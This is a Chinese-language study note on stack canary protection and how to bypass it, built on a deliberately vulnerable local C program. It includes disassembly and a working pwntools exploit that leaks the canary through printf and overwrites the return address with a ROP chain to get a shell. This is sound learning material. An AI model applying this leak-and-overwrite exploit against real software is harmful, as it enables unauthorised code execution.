canary保护及绕过---笔记(上)

一个pwn新手的笔记

本文是个人对Canary保护详解和常用Bypass手段的学习笔记

1.1 canary保护简介:

canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致

个人理解:

  • canary=金丝雀,就像是之前里面探测瓦斯用的方法一样,金丝雀(canary)就是一个值,插入到了栈里面。函数结束时,如果检测到值改变了(相当于探测到了瓦斯),执行___stack_chk_fail函数,就会提前退出程序。

特点:

canary设计是以“x00”结尾,本意就是为了保证canary可以截断字符串。

1.2 C/C++的实现方法:

以一个64位程序为例子

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char ooo[100];
    for(int i=0;i<2;i++){
        read(0, ooo, 0x200);
        printf(ooo);
    }
}
int main(void) {
    init();
    puts("Hello radish!");
    vuln();
    return 0;
}

使用

gcc -fstack-protector-all pwn4fun.c -o pwn4fun

进行编译

-fstack-protector:启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
-fstack-protector-all:启用堆栈保护,为所有函数插入保护代码。
-fno-stack-protector:禁用堆栈保护

2.1 进行操作:

root@MSI:/mnt/c/Users/13013/Desktop/PWN/canary_porctect&passby/canary_used# rabin2 -I pwn4fun
arch     x86
baddr    0x400000
binsz    7101
bintype  elf
bits     64
canary   true
class    ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true

可以明显看到canary保护开启了

root@MSI:/mnt/c/Users/13013/Desktop/PWN/canary_porctect&passby/canary_used# r2 -AAA pwn4fun
[Cannot analyze at 0x00400660g with sym. and entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[Cannot analyze at 0x00400660ac)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
 -- Help subcommand will be eventually removed.
[0x00400670]> afl
0x00400670    1 41           entry0
0x00400650    1 6            sym.imp.__libc_start_main
0x004006a0    4 50   -> 41   sym.deregister_tm_clones
0x004006e0    4 58   -> 55   sym.register_tm_clones
0x00400720    3 28           entry.fini0
0x00400740    4 38   -> 35   entry.init0
0x00400930    1 2            sym.__libc_csu_fini
0x00400934    1 9            sym._fini
0x00400610    1 6            sym.imp.setbuf
0x00400600    1 6            sym.imp.__stack_chk_fail
0x004008c0    4 101          sym.__libc_csu_init
0x004005f0    1 6            sym.imp.puts
0x00400620    1 6            sym.imp.system
0x004005c0    3 26           sym._init
0x00400630    1 6            sym.imp.printf
0x00400640    1 6            sym.imp.read
0x00400766    3 56           sym.getshell
0x0040079e    3 106          sym.init
0x00400808    6 104          sym.vuln
0x00400870    3 80           main

这里虽然麻烦,但是还是挂一下r2的反汇编感受一下:

[0x00400670]> pdf@main
            ; DATA XREF from entry0 @ 0x40068d
┌ 80: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_8h @ rbp-0x8
│           0x00400870      55             push rbp
│           0x00400871      4889e5         mov rbp, rsp
│           0x00400874      4883ec10       sub rsp, 0x10
│           0x00400878      64488b042528.  mov rax, qword fs:[0x28]
│           0x00400881      488945f8       mov qword [var_8h], rax
│           0x00400885      31c0           xor eax, eax
│           0x00400887      b800000000     mov eax, 0
│           0x0040088c      e80dffffff     call sym.init
│           0x00400891      bf4c094000     mov edi, str.Hello_radish   ; 0x40094c ; "Hello radish!" ; const char *s
│           0x00400896      e855fdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0040089b      b800000000     mov eax, 0
│           0x004008a0      e863ffffff     call sym.vuln
│           0x004008a5      b800000000     mov eax, 0
│           0x004008aa      488b55f8       mov rdx, qword [var_8h]
│           0x004008ae      644833142528.  xor rdx, qword fs:[0x28]
│       ┌─< 0x004008b7      7405           je 0x4008be
│       │   0x004008b9      e842fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       │   ; CODE XREF from main @ 0x4008b7
│       └─> 0x004008be      c9             leave
└           0x004008bf      c3             ret

这个就是检查失败过后运行的函数

 0x004008b9      e842fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)

对canary应该有了个大致印象
下面为了方便,直接上IDA吧:

  • 字符串:
LOAD:0000000000400238   0000001C    C   /lib64/ld-linux-x86-64.so.2
LOAD:00000000004003E9   0000000A    C   libc.so.6
LOAD:00000000004003F3   00000005    C   puts
LOAD:00000000004003F8   00000011    C   __stack_chk_fail
LOAD:0000000000400409   00000006    C   stdin
LOAD:000000000040040F   00000007    C   printf
LOAD:0000000000400416   00000005    C   read
LOAD:000000000040041B   00000007    C   stdout
LOAD:0000000000400422   00000007    C   stderr
LOAD:0000000000400429   00000007    C   system
LOAD:0000000000400430   00000007    C   setbuf
LOAD:0000000000400437   00000012    C   __libc_start_main
LOAD:0000000000400449   0000000F    C   __gmon_start__
LOAD:0000000000400458   0000000A    C   GLIBC_2.4
LOAD:0000000000400462   0000000C    C   GLIBC_2.2.5
.rodata:0000000000400944    00000008    C   /bin/sh
.rodata:000000000040094C    0000000E    C   Hello radish!
.eh_frame:0000000000400A0F  00000006    C   ;*3$\"

2.2 函数check

  • main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(*(_QWORD *)&argc, argv, envp);
  puts("Hello radish!");
  vuln("Hello radish!");
  return 0;
}
  • vuln
unsigned __int64 vuln()
{
  signed int i; // [rsp+Ch] [rbp-74h]
  char buf; // [rsp+10h] [rbp-70h]
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 1; ++i )
  {
    read(0, &buf, 0x200uLL);
    printf(&buf, &buf);
  }
  return __readfsqword(0x28u) ^ v3;
}

很明显的一个溢出,而且v3就是canary的值

2.3 Crash

v3是 rbp-8h,buf是rbp-70,read可以读入200h,canary的末尾是\x00结尾的
 那么我们可以输入 0x70-0x8=0x68的字符串来泄露canary的值

比如说这样:

root@MSI:/mnt/c/Users/13013/Desktop/PWN/canary_porctect&passby/canary_used# ./pwn4fun
Hello radish!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
dg♂`}

为了不让文章太长,直接上EXP(主要是感受):

from pwn import *
#context.log_level = 'debug'
p = process("./pwn4fun")

pop_rdi_ret = 0x0400923
binsh = 0x040077d

print("========CANARY_LEAK=========")
payload = 'a'*104
p.recvuntil("Hello radish!")
p.sendline(payload)
p.recvuntil('a'*104+'\n')
canary = u64(p.recv(7).rjust(8,'\x00'))
print("canary=====>",hex(canary))

print("========GET_SHELL=========")
payload = 'a'*104 + p64(canary) + 'a'*8 + p64(pop_rdi_ret) + p64(0) + p64(binsh)
p.sendline(payload)

p.interactive()

最后的效果

root@MSI:/mnt/c/Users/13013/Desktop/PWN/canary_porctect&passby/canary_used# python flag.py
[+] Starting local process './pwn4fun': pid 165
========CANARY_LEAK=========
('canary=====>', '0x6af6e5d7d7b3bd00')
========GET_SHELL=========
[*] Switching to interactive mode
\x7f$ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$
$ ls
flag  flag.py  pwn4fun    pwn4fun.c
$ cat flag
flag{pwn_1s_r34lly_fun}

2.4 EXP说明

  • 最开始进行泄露,利用printf成功获得canary的值
  • 栈覆盖过后,利用gadget getshell,
  • canary值主要是覆盖后用于验证(rbp-70h的位置)

3 感悟

最后上一张图吧,


转自reddit
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 160,165评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,720评论 1 298
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,849评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,245评论 0 213
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,596评论 3 288
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,747评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,977评论 2 315
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,708评论 0 204
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,448评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,657评论 2 249
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,141评论 1 261
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,493评论 3 258
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,153评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,108评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,890评论 0 198
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,799评论 2 277
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,685评论 2 272